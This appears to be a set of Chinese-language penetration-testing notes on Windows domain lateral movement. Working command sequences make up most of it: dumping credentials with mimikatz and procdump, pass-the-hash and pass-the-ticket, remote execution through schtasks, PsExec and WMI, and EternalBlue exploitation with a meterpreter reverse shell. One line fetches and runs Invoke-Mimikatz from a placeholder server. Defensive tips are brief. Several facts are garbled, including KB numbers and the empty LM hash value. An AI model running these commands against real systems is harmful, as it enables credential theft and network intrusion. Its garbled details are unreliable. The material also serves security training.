域内横向移动分析及防御
域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
常用Windows远程连接和相关命令
在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH (Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用Windows自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。
在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。
IPC
IPC( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
首先,需要建立一个ipc$输入以下命令
net use \\192.168.110.114\ipc$ "用户密码" /user:用户名
1.ipc$的利用条件
(1)开启了139、445端
ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445 (Window 2000)端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持。
(2)管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录 winnt或 windows(admin$)。通过 ipc$,可以实现对这些默认共享目录的访问。
2. ipc$连接失败的原因
- 用户名或密码错误。
- 目标没有打开 ipc$默认共享。
- 不能成功连接目标的139、445端口。
- 命令输入错误。
3.常见错误号
- 错误号5:拒绝访问。
- 错误号51: Windows 无法找到网络路径,即网络络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机,目标的 lanmanserver服务未启动、目标有防火墙(端口过滤)。
- 错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipc$ 已被删除。
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接。
- 错误号1326:未知的用户名或错误的密码。
- 错误号1792:试图登录,但是网络登录服务器没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已过期。例如目标机器设置了账号管理策略,强制用户定期修改密码。
使用Windows自带的工具获取远程主机信息
1. dir命令
在使用net use命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件
dir \\192.168.110.144\c$
2. tasklist命令
在使用net use命令与远程目标机器建立ipc$后,可以使用tasklist命令的/S、/U、 /P参数列出远程主机上运行的进程
tasklist /S 192.168.110.144 /U 用户名 /P 密码
计划任务
1. at命令
at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Sever 2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。
- 使用net time命令确定远程机器当前的系统时间。
- 使用copy命令将Payload 文件复制到远程目标机器中。
- 使用at命令定时启动该Payload文件。
- 删除使用at命令创建计划任务的记录。
在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$。
(1)查看目标系统时间
net time \\192.168.110.144
(2)将文件复制到目标系统中
首先,在本地创建一个calc.bat文件,其内容为“calc”。然后,让 Windows运行一个“计算器“程序,使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下
copy calc.bat \\192.168.110.144\C$
(3)使用at创建计划任务
使用net time命令获取当前远程主机的系统时间。使用at命令让目标系统在指定时间运行一个程序
at \\192.168.110.144 4:10PM C:\calc.bat
(4)清除at记录
计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。
at \\192.168.110.144 2 /delete
使用at远程命令执行后,先将执行结果写入本地文本文件,再使用type命令远程读取该文本文件
at \\192.168.110.146 21:09 cmd.exe /c "ipconfig" >C:/1.txt"
2.schtasks 命令
Windows Vista、Windows Server 2008及之后版本的操作系统已经开始使用schtasks 命令代替at命令。
在远程主机上创建一个名称为“test”的计圳任务。该计划任务在开机时启动,启动程序为C盘下的 calc.bat,启动权限为System。
schtasks /create /s 1.1.1.10 /tn test /U administrator /p "password" /sc onstart /tr c:\calc.bat /ru system /f
在远程主机上运行名为test的计划任务
schtasks /run /s 192.168.252.182 /i /tn "test"
在使用schtasks命令时不需要输入密码,原因是此前已经与目标机器建立了ipc$。如果没有建立ipc$,可以添加参数/u /p
/u administrator
/p "123456"
/f 强制删除
任务执行后删除计划任务
schtasks /delete /s 192.168.252.182 /tn "test" -f
最后我们删除ipc$
net use 名称 /del /y #在删除ipc$时,要确认删除的是自己创建的ipc$
在使用schtasks命令时,会在系统中留下日志文件C:\WindowsTasksSchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
Windows系统散列值获取分析与防范
LM Hash和NTLM Hash
Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。
Widows操作系统中的密码般由两部分组成,部分为 LMHash, 另部分为NTLMHash。在Windows操作系统中,Hash的结构通常如下。
username:RID:LM-HASH:NT-HASH
LM Hash的全名为“LAN Manager Hash",是微软为了提高Windows操作系统的安全性面采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LMHash禁用了(从Windows Vista 和WindowsSever 2008版本开始,Windows操作系统默认禁用LM Hash )。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过抓取的LM Hash通常为“ab35454a3435451404046“(表示LMHash为空值或被禁用)。
NTLMHash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
单机密码抓取与防范
要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至Sytem。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。Isass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的ls.exe 进程或SAM文件中导出。
在Windows操作系统中,SAM文件的保存位置是C:WindowslSystem32config.该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进人文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析,并给出防范建议。
1.GetPass
打开GetPass工具所在的目录。打开命令行环境。GetPassword _x64.exe。 运行该程序后,即可获得明文密码
GetPassword_x64.exe
2.PwDump7
在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash,可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递的方法横向渗透测试。
Pwdump7.exe
3. QuarksPwDump
下载QuarksPwDump.exe
,在命令行环境中输人QuarksPwDump.exe -dump-hash-local
,导出NTML Hash
4.通过SAM和System文件抓取密码
(1)导出SAM和System文件
无工具导出SAM文件命令如下,直接保存到当前目录下
reg save hklm\sam sam.hive
reg save hklm\system system.hive
(2)通过读取SAM和System文件获取NTML Hash
①使用mimikatz读取
将我们刚才导出的system.hive和sam.hive文件放到本地(与mimikatz放在同一目录下)。运行mimikatz,输入如下命令
lsadump::sam /sam:sam.hive /system:system.hive
②使用cain读取sam文件
③使用mimikatz直接读取本地SAM文件
#将mimikatz免杀处理后上传至目标机器,在命令行中打开mimikatz
privilege::debug #提升权限
token::elevate #system权限
lsadump::sam
5.使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
#在线读取散列值及铭文密码
6.使用mimikatz离线读取lsass.dmp文件
(1)导出lsass.dmp文件
- 使用任务管理器导出lsass.dmp文件。
在Windows NT6中,可以在任务管理器中直接进行Dump操作,右键lsass进程创建转储文件。
- 使用Procdump导出lsass.dmp文件。
Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)使用mimikatz导出lsass.dmp文件中的密码散列值
首先在命令行中运行mimikatz,将lsass.dmp文件加载到mimikatz中。执行如下命令
sekurlsa::minidump lsass.DMP #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值
7.使用power shell对散列值进行dump
Nishang的Get-PassHashes.ps1脚本可用户导出散列值
以管理员权限打开powershell,进入nishang目录,将Get-PassHashes.ps1脚本导入
Import-Module .\Get-Passhashes.ps1
Get-PassHashes
8.使用Powershell远程加载mimikatz抓取散列值和密码
powershell IEX (New-Object Net.WebClient).DownloadString('http://server_ip:8080/Invoke-Mimikatz.ps1');Invoke-Mimikatz
9.单机密码抓取的防范方法
微软为了防止用户密码在内存中以明文形式泄露,发布了补T K28797关闭了Waiget功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
(1)使用reg add命令
开启关闭Wdigest Auth,命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭
(2)使用PowerShell
开启/关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 #开启
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 #关闭
使用Hashcat获取密码
HashCat系列软件在硬件上支持使用CPU、NVIDIA GPU、ATI GPU来进行密码破解。在操作系统上支持Windows、Linux平台,并且需要安装官方指定版本的显卡驱动程序,如果驱动程序版本不对,可能导致程序无法运行。
1.Hashcat
我们在Linux下安装Hashcat测试。有两种安装方法,一种是访问github下载源码进行编译和安装,一种是安装编译好的。
(1)下载源码编译和安装
git clone https://github.com/hashcat/hashcat.git
接着执行如下命令
进入hashcat文件
make
make install
(2)使用编译好的二进制文件安装
下载Hashcat的源码,解压后运行相应版本即可(hashcat32.bin或hashcat64.bin)。
2.hashcat 的使用方法
使用-b参数,测试使用当前机器进行破解的基准速度hashcat -b --force
,如果使用的是虚拟机需要添加--force
参数。
(1)指定散列值的类型
可以使用-m参数指定散列值的类型,常见散列值类型参考hashcat官网:https://hashcat.net/wiki/doku.php?id=example_hashes
(2)指定破解模式
可以使用-a number
来指定hashcat破解模式。
0 = Straight //字典破解
1 = Cobination //组合破解
2 = Toggle-Case
3 = Brute-force //掩码暴力破解
4 = Perutation //组合破解
5 = Table-Lookup
(3)常用命令
在渗透测试种,通常使用字典模式进行破解输入如下命令开始破解
hashcat -a 0 -m xx <hashfile> <zidian1> <zidian2>
- a 0:以字典模式破解
- -m xx:指定<hashfile>内的散列值类型
- <hashfile>:将多个散列值存入文本等待破解
- <zidian1><zidian2>:指定字典文件
将1-8指定为数字进行破解,?d?d?d?d?d?d?d?d 对应8位纯数字组合; ?l?l?l?l?d?d?d?d 对应前4位小写字母,后4位数字组合
hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d -O
破解windows散列值,命令如下
hashcat-m 1000 -a 0 -o winpassok.txt win.hash password.lst --username
破解Wifi握手包,这里需要使用aircrack-ng把cap格式转化为hccap格式才可以使用hashcat进行破解。
aircrak-ng <out.cap> -J <out.hccap>
hashcat -m 2500 out.hccap dics.txt
-m 2500指定散列值的类型为WPA/PSK
(4)常用选项
-show 仅仅显示已经破解的密码
-o, –outfile=FILE 定义哈希文件恢复输出文件
-n, –threads=NUM 线程数
--remove 移除破解成功的hash,当hash是从文本中读取时有用,避免自己手工移除已经破解的hash
-–segment-size=NUM 字典文件缓存大小
如何防范攻击者抓取明文密码和散列值
1.设置Active Diretory 2012 R2功能级别
Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放人该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了。
===============================================================================
===============================================================================
哈希传递攻击分析与防范
哈希传递攻击的概念
大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是NTLM Hash )来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管管理员账号和密码,
因此,如果计算机的本地理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。通过哈希传递,攻击者不需要花时间破解密码散列值(进而获得密码明文)。
在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软直接的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows server2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
哈希传递攻击分析
散列值:当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一且该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输人的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输人的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。
主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的Windows操作系统,则使用LM Hash对用户密码进行验证。但是,当密码大于等于15位时,就无法使用LMHash了。从Windows Vista和Windows Server 2008版本开始,Windows 操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API (例如LsaLogonUser )转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
下面通过两个实验来分析哈希传递攻击的原理。
1.实验1:使用NTLM Hash进行哈希传递
实验环境:远程系统
- 域名:god.org
- 目标IP地址:192.168.110.148
- 用户名:admin1
- NTLM Hash:d9640e9219712c8788ce086c6db63592
mimikatz "privilege::debug" "sekurlsa::pth /user:admin1 /domain:192.168.110.148 /ntlm:d9640e9219712c8788ce086c6db63592
#执行完毕之后会弹出一个cmd.exe
dir \\主机名\c$
使用ip也成功了dir \\192.168.110.148\c$
2.实验2:使用AES-256密钥进行哈希传递
实验环境:远程系统(必须安装KB28711977)
- 域名:god.org
- ip:192.168.110.152
- 主机名:pc1
- 用户名:Administrator
- AES-256密钥:
使用mimikatz抓取AES-256密钥
mimikatz "privilege::debug" "sekurlsa::ekeys"
管理员权限执行如下命令
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:god.org /aes256:*******************************"
dir \\ip或主机名\c$
必须要在目标机器上安装KB28711997,才可以导入AES-256密钥的方式进行横向移动(Pass The Key)
在本实验中需要注意以下几点。
dir 后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误。
除了AES-256密钥,AES-128密钥也可以用来进行哈希传递。
使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997。
如果安装了KB2871997,仍然可以使用SID为500的用户的NTLM Hash进行哈希传递。
如果要使用mimikaz的哈希传递功能,需要具有本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)。
票据传递攻击分析与防范
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz 同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递( Pass The Ticket, PTT). 本节将通过实验分析票据传递攻击的思路,并给出防范措施。
使用mimkatz进行票据传递
使用mimikatz,可以将内存中的票据导出。在mimikatz输入如下命令
mimikatz "privilege::debug" "sekurlsa::tickets /export"
执行以上命令后,会在当和日录下出现多个服务的票据文件,例如krbgt、cifs、ldap 等。
用minikata清除内存中的票据
kerberos::purge
将票据文件注入内存,命令如下
mimikatz "kerberos::ptt ".\[0;a1fc9]-2-0-40e00000-admin1@krbtgt-GOD.ORG.kirbi"
#将票据文件注入内存
将高权限的票据注入内存后,将列出远程计算机的文件目录
使用kekeo进行票据传递
票据传递也可以使用kekeo。需要使用域名、用户名、NLMHash三者配合生成票据,再将票据导入,从而直接连接远程计算机。
实验环境:远程系统
- 域名: god.org
- 目标IP地址: 192.168.110.148
- 用户名:admin1
- 计算机名:owa
- NTLM Hash:d9640e9219712c8788ce086c6db63592
输入如下命令,运行kekeo,在当前目录生成一个票据文件
kekeo "tgt::ask /user:admin1 /domain:god.org /ntlm:d9640e9219712c8788ce086c6db63592"
在kekeo中清除当前内存中的其他票据(否则可能传递票据失败)
kerberos::purge
也可以使用windows自带命令清除内存中的票据
klist purge
输入如下命令,使用kekeo将票据文件导入内存
kerberos::ptt TGT_admin1@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
列出远程主机的文件
dir \\owa\c$
如何防范票据传递攻击
- 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
- 票据文件注人内存的默认有效时间为10 小时。
- 在目标机器上不需要本地管理员权限即可进行票据传递。
- 通过以上几点,就可以理清防御票据传递攻击的思路了。
PsExec 的使用
PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议( RDP )进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。
PsTools 工具包中的PsExec
PsExec包含在PsTools工具包中(PsTools 的下载地址)。通过PsExec.可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。PsExec 的基本原理是:通过管道在远程目标机器上创建一个psexec 服务,并在本地磁盘中生成-一个名为“PSEXESVC"的进制文件, 然后,通过psexec 服务运行命令,运行结束后删除服务。
首先,需要获取目标操作系统的交互式Shell在建立了ipc$ 的情况下,执行如下命今,获取System权限的Shell
net use \\192.168.110.148\ipc$ "123456-a" /user:admin1
PsExec.exe -accepteula \\192.168.110.148 -s cmd.exe
-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会出现
-s: 以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个administrator的shell
执行如下命令,获取一个administrator权限shell。
PsExec.exe -accepteula \\192.168.110.148 cmd.exe
如果没有建立ipc$,PsExec有两个参数可以通过指定账户和密码进行远程连接
psexec \\192.168.110.148 -u admin1 -p 123456-a cmd.exe
#-u 域\用户名 -p密码
执行如下命令,使用PsExec在远程计算机上进行回显
psexec \\192.168.110.148 -u admin1 -p 123456-a cmd.exe /c "ipconfig"
在使用PsExec时,需要注意以下几点。
- 需更远程系统开启admin$共享(默认是开启的)
- 使用ipc$连接目标系统后,不需要输人账号和密码。
在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。 命令执行后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。 - 使用PsExec可以直接获得System权限的交互式Shell。
Metasploit 中的psexec模块
在KaliLinux的命令环境中输入"msfconsole"命令。进入Metasploit后,使其search功能进行模块搜索。search功能可以帮助测试人员快速找到需要的模块。
例如:search psexec
命令,可以列出与PsExec的有关模块
本次实验所需的模块
- exploit/windows/smb/psexec
- exploit/windows/smb/psexec_psh
使用exploit/windows/smb/psexe_psh,该版本生成的payload主要是由Powershell实现的.powershell作为windows自带的脚本运行环境,免杀效果比exploit/windows/smb/psexec生成的EXE版payload好。在实际应用中,攻击者会通过对Powershell版本的payload进行混淆来达到绕过杀软的目的。但是,因为Windows 7、Windows Server 2008及以上版本的操作系统才默认有powershell,所以如果遇到默认不含powershell的Windows XP或Windows Server 2003,就要使用由exploit/windows/smb/psexec生成的exe版本的payload。
输入use exploit/windows/smb/psexec
命令加载模块,show options
查看需要的参数,输入一下来配置参数
set rhost 192.168.110.148
set smbuser admin1
set smbpass 123456-a
shell
psexec_pth模块和psexec模块的使用方法相同。二者的区别在于,通过psexec_pth模块上传的payload是powershell版本的。
WMI的使用
WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
基本命令
在命令行环境中输入如下命令
wmic /node:192.168.110.148 /user:admin1 /password:"123456-a" process call create "cmd.exe /c ipconfig > ip.txt"
建立ipc$之后,使用type命令查看ip.txt文件内容
type \\192.168.110.148\C$\ip.txt
接下来,使用wmic远程执行命令,在远程系统中启动Windows Management Instrumentation服务(目标服务器需要开放135 端口,wmic会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,wmic 将无法进行连接。
此外,wmic没有回显,需要使用ipc$和type命令来读取信息。需要注意的是,如果wmic执行的是恶意程序,将不会留下日志。
impacket工具包中的wmiexec
在KaiLi中下载并安装impacket工具包。如图5-74所示,输人如下命令,获取目标shell,该方法主要在从Linux向Windows进行横向渗透测试时使用。
wmiexec.py admin1:123456-a@192.168.252.183
wmiexec.vbs
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wniexec. vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式Shell。
执行如下命令获得一个半交互式shell
cscript //nologo wmiexec.vbs /shell 192.168.252.183 admin1 123456-a
在目标主机上执行单条命令
cscript wmiexec.vbs /cmd 192.168.252.183 admin1 123456-a "ipconfig"
对于运行时间较长的命令,例如ping、systeminfo,需要添加“-wait 5000”或者更长的时间参数。在运行nc等不需要输出结果但需要一直运行的进程时,如果使用-persist 参数,就不需要使用taskill命令来远程结束进程了。
目前,经VirusTotal网站显示,wmiexec.vbs已经被卡巴斯基、赛门铁克和ZoneAlarm等杀毒软件列入黑名单了。
Invoke-WmiCommand
Invoke-WmiCommand.ps1脚本包含在PowerSploit工具包中。该脚本主要通过PowerShell调用WMI来远程执行命令,因此本质上还是在利用WMI。
Windows操作系统从windows server2008和win7版本开始内置了Powershell。将PowerSploit的Invoke-WmiCommand.ps1导入系统,在Powershell命令行环境中输入以下命令。
#目标系统用户名
$User="god\Admin1"
#目标系统密码
$Password= ConvertTo-SecureString -String “123456-a" -AsPlainText -Force
#将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程执行命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.252.183
#将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod
利用PowerShell自带的Invoke-WMIMethod,可以在远程系统中执行命令和指定程序。
令行环境中执行如下命令,可以以非交互式的方式执行命令,但不会回显执行结果
$User = "god\admin1"
$Password= ConvertTo-SecureString -String "123456-a" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#启动记事本
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "192.168.252.183" -Credential $Cred
查看任务
永恒之蓝漏洞分析与防范
在2017年4月,轰动网络安全界的事件无疑是,全局(NSA)方程式组织( Equation Group )使用的极具破坏力的黑客工具,其中包括可以远程攻破约70%的Windows服务器的漏洞利用工具。一夜之间, 全世界70%的Wndows服务器处于危险之中,国内使用Windows服务器的高校、企业甚至政府机构都不能幸免。这无疑是互联网的一次“大地震”,因为已经很久没有出现过像“永恒之蓝”(MS17.010) 这种级别的漏洞了。2017年5月12日晚,一款名为 “WannaCry"的蠕虫勒索软件袭击全球网络,影响了近百个国家的上千家企业及公共组织,被认为是当时最大的网络勒索活动。WannaCry利用的是“NSA武器库”中的SMB漏洞。该漏洞通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中, SMB服务默认是开启的,监听端口默认
为445,因此该漏洞造成的影响极大。受该漏洞影响的操作系统有Windows NT、Windows 2000、Windows XP、Windows Server 2003、Windows Vista、Windows 7、Windows 8、Windows Server2008、Windows Server 2008 R2、Windows Server 2012R2等。
新版本的Mtsploit已经集成了MS17-010漏洞的测试模块。我们可以在kali中进行测试。
msfconsole
search ms17-010
#使用smb_ms17_010进行漏洞检测
use auxiliary/scanner/smb/smb_ms17_010
#查看配置
show options
#设置一个IP段
set rhosts 192.168.252.1/24
#设置线程数,默认线程为1
set threads 50
最后输入exploit
执行命令,最后检测出来一台机器可能存在ms17-010漏洞。
接下来,使用msf的ms17-010漏洞利用模块对该机器进行测试。在Kali中执行如下命令
use exploit/windows/smb/ms17_010_eternalblue
#查看配置参数
show options
set rhost 192.168.252.183
#设置一个反弹的payload
set payload windows/x64/meterpreter/reverse_tcp
exploit
接着我们使用getuid
查看获取的权限
输入hashdump
命令抓取系统中的用户散列,不过这里报了错
这时我们ps
重新找一个system权限的进程,使用命令migrate pid
迁移进去在执行hashdump
即可。
接着可以输入shell可以获取一个system的shell
防御“永恒之蓝”漏洞对Windows操作系统的攻击,方法如下。
- 禁用SMB协议(该方法适用于Windows Vista及更高版本的操作系统)。
- 打开Windows Update,或者手动安装KB2919355。
- 使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接。
- 不要随意打开陌生的文件。
- 安装杀毒软件,及时进行更新病毒库。
smbexec的使用
smbexec可以通过共享文件(admin$、c$、ipc$、d$)
C++版smbexec
==============================================================================================================================================================
impacket工具包中的smbexec.py
在Kali下执行如下命令,查看工具相应的用法
smbexec.py
在Kali中执行如下命令,如果在测试中的密码包含@
,由于smbexec的target ip address
选项也需要@
,所以这里用"@"将"@"转义。例:
smbexec.py god/admin1:123a@123\@192.168.252.183
Linux跨Windows远程执行命令
下载smbexec到本地:
git clone https://github.com/brav0hax/smbexec.git
进入目录,运行install.sh
,接着选择系统类型然后按下回车,将smbexec安装到kali中,默认安装到opt中。
chmod +x install.sh && ./install.sh
安装完毕之后执行smbexec
进入程序
主菜单项1用于列举系统中的重要信息
其中选项1用于扫描目标网络IP地址段中存活的主机,我们选择1然后扫描当前网段,结果如下。
选项2用于列举目标系统中的管理员用户。需要输人IP地址、用户名、密码、域四项。IP地址可以直接调用由选项1扫描出来的IP,用户名、密码、域需要手动添加,程序会记录最近输入的用户名密码等以便下次使用
选项3用于列举当前登录目标系统的用户,其中用户名、密码、域三项会自动加载最近输入的内容。
选项4用于列举目标系统UAC的状态。在本实验中,目标网络中的IP地址所对应的机器的UAC的状态是Enabled (启用)
选项5用于对目标系统中的网络共享目录进行列举。在本实验中,列出了目标IP地址所对应的机器的共享目录
选项6用于在目标系统中搜索敏感文件,例如配置文件、密码信息、缓存文件等
选项7用于列举远程登录目标主机的用户。
主菜单2
主菜单2用于在目标系统中执行命令、获得权限等
选项1用于生成一个meterpreter Pyload,并在目标系统中直接运行它。在渗透测试中,也可以使用Masploit、 Empire.CobaltStike建立一个监听并获得一个shell
选项2用于直接关闭远程主机的UAC。网络管理员可以通过攻击者关闭UAC的操作发现系统正在遭受攻击。
选项3的功能是在执行选项2关闭目标系统的UAC后,重新打开目标系统的UAC,使目标系统复原
选项4用于执行一个PowerShell脚本。
选项5使用基于PsExec的方式获得目标系统的一个System权限的Shell
DCOM 在远程系统中的使用
DCOM (分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够向网络中的另台计算机上的服务器程序对象发送请求。
DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。
攻击者在进行横向移动时,如果要在远程系统中执行命令或payload,除了会使用前面的at、schtasks、 PsExee、 WMI、smbexec 、PowerShell等,还会使用网络环境中部署的大量诸如IPS、流量分析等系统。多了解一些横向移动方法,对日常的系统安全维护是大有益处的。
通过本地DCOM执行命令
获取DCOM程序列表
Get-ClimInstance这个cmdlet (PowerShel 命令行)默认只在PowerShell3.0以上版本中存在。也就是说,只有Windows Sever 2012及以上版本的操作系统才可以使用Get-ClimInstance。命令如下
Get-CimInstance win32_DCOMApplication
由于在win7和server2008中默认安装的是powershell2.0,所以不支持Get-ClimInstance,我们用如下命令代替
